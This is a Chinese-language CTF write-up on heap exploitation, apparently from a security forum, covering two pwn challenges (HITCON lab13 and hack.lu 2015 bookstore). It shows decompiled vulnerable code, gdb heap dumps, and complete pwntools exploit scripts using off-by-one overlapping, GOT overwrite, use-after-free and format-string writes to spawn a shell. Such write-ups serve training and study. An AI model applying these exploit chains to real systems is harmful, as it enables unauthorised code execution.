

1. pwn堆入门系列教程3

序言：这次终于过了off-by-one来到了Chunk Extend /

Overlapping,这部分在上一节也进行了学习，所以难度相对来说不会是那么难，刚起初我以为，因为第一题很简单，但做到第二题，我发觉我连格式化字符串的漏洞都不会利用。

1.1. HITCON Trainging lab13

这道题还是相对简单的，对于前面几道来说，上一道已经用过这种方法了，而且比这复杂许多，所以差不多了，不过还有些小细节注意下就好

1.1.1. 功能分析

引用于ctf-wiki

1. 创建堆，根据用户输入的长度，申请对应内存空间，并利用 read 读取指定长度内容。这里长度没有进行检测，当长度为负数时，会出现任意长度堆溢出的漏洞。当然，前提是可以进行 malloc。此外，这里读取之后并没有设置 NULL。
2. 编辑堆，根据指定的索引以及之前存储的堆的大小读取指定内容，但是这里读入的长度会比之前大 1，所以会存在 off by one 的漏洞。
3. 展示堆，输出指定索引堆的大小以及内容。
4. 删除堆，删除指定堆，并且将对应指针设置为了 NULL。

1.1.2. 漏洞点分析

漏洞点存在off-by-one,通过off-by-one进行overlapping就成了

1.1.3. 漏洞利用过程

```
gdb-peda$ x/50gx 0x1775030-0x30
0x1775000: 0x0000000000000000 0x0000000000000021 #■■■■1
0x1775010: 0x0000000000000018 0x0000000001775030
0x1775020: 0x0000000000000000 0x0000000000000021 #■■■■1 chunk
0x1775030: 0x0000000a31313131 0x0000000000000000
0x1775040: 0x0000000000000000 0x0000000000000021 #■■■■1
0x1775050: 0x0000000000000010 0x0000000001775070
0x1775060: 0x0000000000000000 0x0000000000000021 #■■■■2 chunk
0x1775070: 0x0000000a32323232 0x0000000000000000
0x1775080: 0x0000000000000000 0x00000000000020f81
0x1775090: 0x0000000000000000 0x0000000000000000
0x17750a0: 0x0000000000000000 0x0000000000000000
0x17750b0: 0x0000000000000000 0x0000000000000000
0x17750c0: 0x0000000000000000 0x0000000000000000
0x17750d0: 0x0000000000000000 0x0000000000000000
0x17750e0: 0x0000000000000000 0x0000000000000000
0x17750f0: 0x0000000000000000 0x0000000000000000
0x1775100: 0x0000000000000000 0x0000000000000000
0x1775110: 0x0000000000000000 0x0000000000000000
0x1775120: 0x0000000000000000 0x0000000000000000
0x1775130: 0x0000000000000000 0x0000000000000000
0x1775140: 0x0000000000000000 0x0000000000000000
0x1775150: 0x0000000000000000 0x0000000000000000
0x1775160: 0x0000000000000000 0x0000000000000000
0x1775170: 0x0000000000000000 0x0000000000000000
0x1775180: 0x0000000000000000 0x0000000000000000
```

攻击过程：

1. 创建两个堆块初始化(实际创了4个堆块，两个结构体堆块，两个数据堆块)至于一个为什么要0x18，因为要利用他会使用下个chunk的pre_size作为数据部分，这样才能覆盖。
2. 编辑第0块堆块，利用off-by-one覆盖第二块堆块的size，修改size为0x41

```
gdb-peda$ x/50gx 0x8a5030-0x30
0x8a5000: 0x0000000000000000 0x0000000000000021
0x8a5010: 0x0000000000000018 0x00000000008a5030
0x8a5020: 0x0000000000000000 0x0000000000000021
```

```

0x8a5030: 0x0068732f6e69622f 0x6161616161616161 #/bin/sh■■■■■■■
0x8a5040: 0x6161616161616161 0x0000000000000041 # off-by-one
0x8a5050: 0x0000000000000010 0x0000000000008a5070
0x8a5060: 0x0000000000000000 0x0000000000000021
0x8a5070: 0x0000000a32323232 0x0000000000000000
0x8a5080: 0x0000000000000000 0x00000000000020f81
0x8a5090: 0x0000000000000000 0x0000000000000000
0x8a50a0: 0x0000000000000000 0x0000000000000000
0x8a50b0: 0x0000000000000000 0x0000000000000000
0x8a50c0: 0x0000000000000000 0x0000000000000000
0x8a50d0: 0x0000000000000000 0x0000000000000000
0x8a50e0: 0x0000000000000000 0x0000000000000000
0x8a50f0: 0x0000000000000000 0x0000000000000000
0x8a5100: 0x0000000000000000 0x0000000000000000
0x8a5110: 0x0000000000000000 0x0000000000000000
0x8a5120: 0x0000000000000000 0x0000000000000000
0x8a5130: 0x0000000000000000 0x0000000000000000
0x8a5140: 0x0000000000000000 0x0000000000000000
0x8a5150: 0x0000000000000000 0x0000000000000000
0x8a5160: 0x0000000000000000 0x0000000000000000
0x8a5170: 0x0000000000000000 0x0000000000000000
0x8a5180: 0x0000000000000000 0x0000000000000000

```

3. free掉第1块，这时候free了一个0x40大小的堆块和一个0x20大小的堆块

```

gdb-peda$ x/50gx 0xf89030-0x30
0xf89000: 0x0000000000000000 0x0000000000000021
0xf89010: 0x0000000000000018 0x0000000000f89030
0xf89020: 0x0000000000000000 0x0000000000000021
0xf89030: 0x0068732f6e69622f 0x6161616161616161
0xf89040: 0x6161616161616161 0x0000000000000041 #free 0x40■■■
0xf89050: 0x0000000000000000 0x0000000000f89070
0xf89060: 0x0000000000000000 0x0000000000000021 #free 0x21■■■
0xf89070: 0x0000000000000000 0x0000000000000000
0xf89080: 0x0000000000000000 0x00000000000020f81
0xf89090: 0x0000000000000000 0x0000000000000000
0xf890a0: 0x0000000000000000 0x0000000000000000
0xf890b0: 0x0000000000000000 0x0000000000000000
0xf890c0: 0x0000000000000000 0x0000000000000000
0xf890d0: 0x0000000000000000 0x0000000000000000
0xf890e0: 0x0000000000000000 0x0000000000000000
0xf890f0: 0x0000000000000000 0x0000000000000000
0xf89100: 0x0000000000000000 0x0000000000000000
0xf89110: 0x0000000000000000 0x0000000000000000
0xf89120: 0x0000000000000000 0x0000000000000000
0xf89130: 0x0000000000000000 0x0000000000000000
0xf89140: 0x0000000000000000 0x0000000000000000
0xf89150: 0x0000000000000000 0x0000000000000000
0xf89160: 0x0000000000000000 0x0000000000000000
0xf89170: 0x0000000000000000 0x0000000000000000
0xf89180: 0x0000000000000000 0x0000000000000000

```

4. 这时候create(0x30)的话，会先创建结构体的堆块，这时候fastbin链上有刚free掉的堆块，所以优先使用，创建了0x20大小堆块，然后在创建一个0x40的chunk，这时候

1.1.4. exp

```

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'heapcreator'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it

```

```

ctx.binary = './' + 'heapcreator'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = ELF('libc.so.6')
if local:
    context.log_level = 'debug'
    try:
        r = ctx.start()
    except Exception as e:
        print(e.args)
        print("It can't work,may be it can't load the remote libc!")
        print("It will load the local process")
        io = process(exe)
else:
    io = remote(host,port)
#=====
#                               EXPLOIT GOES HERE
#=====

# Arch:      amd64-64-little
# RELRO:     Partial RELRO
# Stack:     Canary found
# NX:        NX enabled
# PIE:       No PIE (0x400000)
heap = elf
libc = ELF('./libc.so.6')

def create(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)

def edit(idx, content):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(content)

def show(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

def delete(idx):
    r.recvuntil(":")
    r.sendline("4")
    r.recvuntil(":")
    r.sendline(str(idx))

def exp():
    free_got = 0x602018
    create(0x18, "1111") # 0
    create(0x10, "2222") # 1
    # overwrite heap 1's struct's size to 0x41
    edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
    # trigger heap 1's struct to fastbin 0x40
    # heap 1's content to fastbin 0x20

```

```

delete(1)
# new heap 1's struct will point to old heap 1's content, size 0x20
# new heap 1's content will point to old heap 1's struct, size 0x30
# that is to say we can overwrite new heap 1's struct
# here we overwrite its heap content pointer to free@got
create(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free'])) #1
#create(0x30, p64(0x1234567890)) #1
gdb.attach(r)
# leak freeaddr
show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")

free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
#gdb.attach(r)
# overwrite free@got with system addr
edit(1, p64(system_addr))
# trigger system("/bin/sh")
delete(0)
if __name__ == '__main__':
    exp()
    r.interactive()

```

1.2. 2015 hacklu bookstore

1.2.1. 功能分析

先进行功能分析

1. 有编辑功能，编辑已存在的1,2堆块，可溢出
2. 删除功能，删除已存在的1,2堆块，uaf
3. 合并功能，将1,2两个堆块合并,格式化字符串

1.2.2. 漏洞点分析

1. 漏洞点1(任意写，\n才结束)

```

unsigned __int64 __fastcall edit_order(char *a1)
{
    int idx; // eax
    int v3; // [rsp+10h] [rbp-10h]
    int cnt; // [rsp+14h] [rbp-Ch]
    unsigned __int64 v5; // [rsp+18h] [rbp-8h]

    v5 = __readfsqword(0x28u);
    v3 = 0;
    cnt = 0;
    while ( v3 != '\n' )//■■■■
    {
        v3 = fgetc(stdin);
        idx = cnt++;
        a1[idx] = v3;
    }
    a1[cnt - 1] = 0;
    return __readfsqword(0x28u) ^ v5;
}

```

1. 漏洞点2(uaf)

free后指针没置空

```

unsigned __int64 __fastcall delete_order(void *a1)
{
    unsigned __int64 v2; // [rsp+18h] [rbp-8h]

    v2 = __readfsqword(0x28u);

```

1. 格式化字符串

```

    }
    submit(v5, first_order, second_order);
    v4 = 1;
    break;
default:
    goto LABEL_l4;
}
}
printf("%s", v5);
printf(dest);//■■■■■■■■
return 0LL;
}

```

1.2.3. 漏洞利用过程

这题有三个明显的洞，比原来那些只有一个洞的看起来似乎简单些？实际相反，这道题利用起来难度比前面的还大，因为这个洞不好利用，我自己研究了好久也无果，然后抄了看雪大佬的文章才知道这题怎么利用的

开始我在想如何利用格式化字符串的洞，因为格式化字符串的洞在合并过后才会使用，而我没想到什么便捷方法能修改第三块堆块的内容，他只能被覆盖为默认的Your order is submitted!\n，后来才知道用overlapping后可以覆盖到第三块堆块的内容，不过还是得精心布置堆才可以利用到

1. 开头程序malloc(0x80)申请了三个堆块，我们将第二块free掉

```

gdb-peda$ x/100gx 0x1b8d010-0x010
0x1b8d000: 0x0000000000000000 0x0000000000000091 #■■■1
0x1b8d010: 0x0000000074736574 0x0000000000000000
0x1b8d020: 0x0000000000000000 0x0000000000000000
0x1b8d030: 0x0000000000000000 0x0000000000000000
0x1b8d040: 0x0000000000000000 0x0000000000000000
0x1b8d050: 0x0000000000000000 0x0000000000000000
0x1b8d060: 0x0000000000000000 0x0000000000000000
0x1b8d070: 0x0000000000000000 0x0000000000000000
0x1b8d080: 0x0000000000000000 0x0000000000000000
0x1b8d090: 0x0000000000000000 0x0000000000000091 #■■■2■■■■■■■■
0x1b8d0a0: 0x0000000000000000 0x0000000000000000 #■■■■■
0x1b8d0b0: 0x0000000000000000 0x0000000000000000
0x1b8d0c0: 0x0000000000000000 0x0000000000000000
0x1b8d0d0: 0x0000000000000000 0x0000000000000000
0x1b8d0e0: 0x0000000000000000 0x0000000000000000
0x1b8d0f0: 0x0000000000000000 0x0000000000000000
0x1b8d100: 0x0000000000000000 0x0000000000000000
0x1b8d110: 0x0000000000000000 0x0000000000000000
0x1b8d120: 0x0000000000000000 0x0000000000000091 #■■■3
0x1b8d130: 0x64726f2072756f59 0x7573207369207265
0x1b8d140: 0x2164657474696d62 0x000000000000000a
0x1b8d150: 0x0000000000000000 0x0000000000000000
0x1b8d160: 0x0000000000000000 0x0000000000000000
0x1b8d170: 0x0000000000000000 0x0000000000000000
0x1b8d180: 0x0000000000000000 0x0000000000000000
0x1b8d190: 0x0000000000000000 0x0000000000000000
0x1b8d1a0: 0x0000000000000000 0x0000000000000000
0x1b8d1b0: 0x0000000000000000 0x000000000000411
0x1b8d1c0: 0x696d627553203a35 0x20726564726f0a74
0x1b8d1d0: 0x216465776f0a0a32 0x6163206e6920750a
0x1b8d1e0: 0x2779656874206573 0x6920746f6e206572
0x1b8d1f0: 0x2e6b636f7473206e 0x5f0a216e6f69740a
0x1b8d200: 0x0a2020202f5c5f5f 0x0000000000000000
0x1b8d210: 0x0000000000000000 0x0000000000000000
0x1b8d220: 0x0000000000000000 0x0000000000000000
0x1b8d230: 0x0000000000000000 0x0000000000000000
0x1b8d240: 0x0000000000000000 0x0000000000000000
0x1b8d250: 0x0000000000000000 0x0000000000000000
0x1b8d260: 0x0000000000000000 0x0000000000000000
0x1b8d270: 0x0000000000000000 0x0000000000000000
0x1b8d280: 0x0000000000000000 0x0000000000000000
0x1b8d290: 0x0000000000000000 0x0000000000000000
0x1b8d2a0: 0x0000000000000000 0x0000000000000000
0x1b8d2b0: 0x0000000000000000 0x0000000000000000
0x1b8d2c0: 0x0000000000000000 0x0000000000000000
0x1b8d2d0: 0x0000000000000000 0x0000000000000000

```

```
0x1b8d2e0: 0x0000000000000000 0x0000000000000000
0x1b8d2f0: 0x0000000000000000 0x0000000000000000
0x1b8d300: 0x0000000000000000 0x0000000000000000
0x1b8d310: 0x0000000000000000 0x0000000000000000
```

编辑第一块堆块内容，溢出到第二块的size，修改第二块的size为0x150，为什么是0x150?(因为你看程序在合并的时候有个malloc(0x140)，这样合并的时候申请的堆块)

```
gdb-peda$ x/50gx 0x1695028-0x28
0x1695000: 0x0000000000000000 0x0000000000000091
0x1695010: 0x3125633731363225 0x313325516e682433
0x1695020: 0x7024383225507024 0x6161616161616161
0x1695030: 0x6161616161616161 0x6161616161616161
0x1695040: 0x6161616161616161 0x6161616161616161
0x1695050: 0x6161616161616161 0x6161616161616161
0x1695060: 0x6161616161616161 0x6161616161616161
0x1695070: 0x6161616161616161 0x6161616161616161
0x1695080: 0x0000000061616161 0x0000000000000000
0x1695090: 0x0000000000000000 0x0000000000000151
0x16950a0: 0x00007f0e99412b00 0x00007f0e99412b78
0x16950b0: 0x0000000000000000 0x0000000000000000
0x16950c0: 0x0000000000000000 0x0000000000000000
0x16950d0: 0x0000000000000000 0x0000000000000000
0x16950e0: 0x0000000000000000 0x0000000000000000
0x16950f0: 0x0000000000000000 0x0000000000000000
0x1695100: 0x0000000000000000 0x0000000000000000
0x1695110: 0x0000000000000000 0x0000000000000000
0x1695120: 0x0000000000000090 0x0000000000000090
0x1695130: 0x64726f2072756f59 0x7573207369207265
0x1695140: 0x2164657474696d62 0x000000000000000a
0x1695150: 0x0000000000000000 0x0000000000000000
0x1695160: 0x0000000000000000 0x0000000000000000
0x1695170: 0x0000000000000000 0x0000000000000000
0x1695180: 0x0000000000000000 0x0000000000000000
```

然后submit的时候具体会变成什么呢?，会先复制Order 1:

，然后在复制chunk1里的内容，在复制chunk2里的内容，注意注意chunk2的内容现在是什么，是前面的Order 1:

在加上chunk1的内容，因为堆块2的指针还指向chunk2的数据部分，所以会复制两次

3. 就是Order 1: +chunk1+'\n'+Order 2: +Order 1: +chun1+'\n'
4. 如果我们要利用格式化字符串的洞的话，要精确复制堆块3的size部分后就停止，到这部分大小是0x90
5. 也就是说我们Order 1: +chunk1+'\n'+Order 2: +Order 1: 这个的大小要为0x90，求出chunk大小， $0x90 - 9 * 3 - 1 = 0x88 - 0x1c = 0x74$
6. 所以我们可以前面0x74里写格式化字符串的利用，后面就利用得上了

这是合并后的结果

```
gdb-peda$ x/56gx 0x6e6028-0x28
0x6e6000: 0x0000000000000000 0x0000000000000091
0x6e6010: 0x3125633731363225 0x313325516e682433
0x6e6020: 0x7024383225507024 0x6161616161616161
0x6e6030: 0x6161616161616161 0x6161616161616161
0x6e6040: 0x6161616161616161 0x6161616161616161
0x6e6050: 0x6161616161616161 0x6161616161616161
0x6e6060: 0x6161616161616161 0x6161616161616161
0x6e6070: 0x6161616161616161 0x6161616161616161
0x6e6080: 0x0000000061616161 0x0000000000000000
0x6e6090: 0x0000000000000000 0x0000000000000151
0x6e60a0: 0x3a3120726564724f 0x2563373136322520
0x6e60b0: 0x3325516e68243331 0x2438322550702431
0x6e60c0: 0x6161616161616170 0x6161616161616161
0x6e60d0: 0x6161616161616161 0x6161616161616161
0x6e60e0: 0x6161616161616161 0x6161616161616161
0x6e60f0: 0x6161616161616161 0x6161616161616161
0x6e6100: 0x6161616161616161 0x6161616161616161
0x6e6110: 0x6161616161616161 0x724f0a6161616161
0x6e6120: 0x4f203a3220726564 0x203a312072656472
0x6e6130: 0x3125633731363225 0x313325516e682433
0x6e6140: 0x7024383225507024 0x6161616161616161
0x6e6150: 0x6161616161616161 0x6161616161616161
0x6e6160: 0x6161616161616161 0x6161616161616161
0x6e6170: 0x6161616161616161 0x6161616161616161
```

```
0x6e6180:    0x6161616161616161  0x6161616161616161
0x6e6190:    0x6161616161616161  0x6161616161616161
0x6e61a0:    0x64724f0a61616161  0x000a203a32207265
0x6e61b0:    0x0000000000000000  0x0000000000000411
```

1. 既然是堆题我就不再讲格式化字符串利用了，后面先利用格式化字符串修改.fini的地址，这样能多返回一次到main函数，同时泄露libc函数地址，为什么修改.fini里的地址

[linux_x86程序启动中文版](#)

[linux_x86程序启动英文版](#)

这两篇文章一样的，不过一个中文版，一个英文版，建议英文好的同学读原版，因为.fini在exit前会进行调用，所以修改后能执行多一次main函数

1. 这时候发觉泄露出libc后不知道修改哪个函数了，因为调用printf后再也没函数用了，这时候思路又断了

2. 所以这时候想想别的办法，发觉栈上存了一个与存main函数返回地址的指针存在一定偏移的地址，所以泄露出来后，在减掉那个固定偏移就可以修改main函数返回地址

注意：这里格式化字符串内容存在堆里，指针存在栈上，所以我们fgets输入的才是对应上的偏移

1.2.4. exp

```
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'books'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'books'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
    context.log_level = 'debug'
    p = ctx.start()
    libc = ELF(libc)
else:
    p = remote(host,port)

#=====
#                               EXPLOIT GOES HERE
#=====

# Arch:      amd64-64-little
# RELRO:     No RELRO
# Stack:     Canary found
# NX:        NX enabled
# PIE:       No PIE (0x400000)

def edit(idx, content) :
    p.sendline(str(idx))
    p.recvregex(r''Enter (.*) order:\n'')
    p.sendline(content)

def delete(idx) :
    p.sendline(str(idx+2))

def submit(content) :
    p.sendline('5'+ '\x00'*7 + content)

def exp():
    fini_array = 0x6011B8
    main_addr = 0x400A39
    delete(2)
```



```

#first step
#leak
fmstr = "%{c%}{$hnQ%}{$pP%}{$p".format(0xA39, 13, 31, 28)
payload = fmstr.ljust(0x74, 'a')
payload = payload.ljust(0x88, '\x00')
payload += p64(0x151)
edit(1, payload)
#offset=13
gdb.attach(p)
submit(p64(fini_array))
for _ in range(3):
    p.recvuntil('Q')
__libc_start_main_addr = int(p.recv(14), 16)
libc_base = __libc_start_main_addr - libc.symbols['__libc_start_main']-240
ret_addr = int(p.recv(15)[1:], 16)-0x1e8
one_gadget_offset = 0x45216
#one_gadget_offset = 0x4526a
#one_gadget_offset = 0xf02a4
#one_gadget_offset = 0xf1147
one_gadget = libc_base + one_gadget_offset
p.success("libc_base-> 0x%x" % libc_base)
p.success("ret_addr-> 0x%x" % ret_addr)
p.success("one_gadget-> 0x%x" % one_gadget)

#second step
delete(2)
part1 = ((one_gadget>>16)& 0xffff)
part2 = (one_gadget & 0xffff)

part =[
    (part1, p64(ret_addr+2)),
    (part2, p64(ret_addr))
]
part.sort(key=lambda tup: tup[0])
size = [i[0] for i in part]
addr = ''.join(x[1] for x in part)
print(size)
print(addr)
fmstr = "%{c%}{$hn".format(size[0], 13)
fmstr += "%{c%}{$hn".format(size[1]-size[0], 14)
payload = fmstr.ljust(0x74, 'a')
payload = payload.ljust(0x88, '\x00')
payload += p64(0x151)
edit(1, payload)
#offset=13
submit(addr)
#gdb.attach(p)
if __name__ == '__main__':
    exp()
    p.interactive()

```

1.3. 总结

1. 这道题堆部分难点部分想到了就不难，没想到就难，就是要利用那个部分溢出到第三个堆块
2. 其余部分就全是格式化字符串的利用了，没什么好讲的
3. 这道题拿到shell也偏废时间，最主要直接看exp我看不懂，后面去看文章才看懂的

1.4. 参考链接

[看雪大佬的文章](#)

点击收藏 | 0 关注 | 1

[上一篇：\[红日安全\]Web安全Day4 -...](#) [下一篇：从TokyoWesterns 20...](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)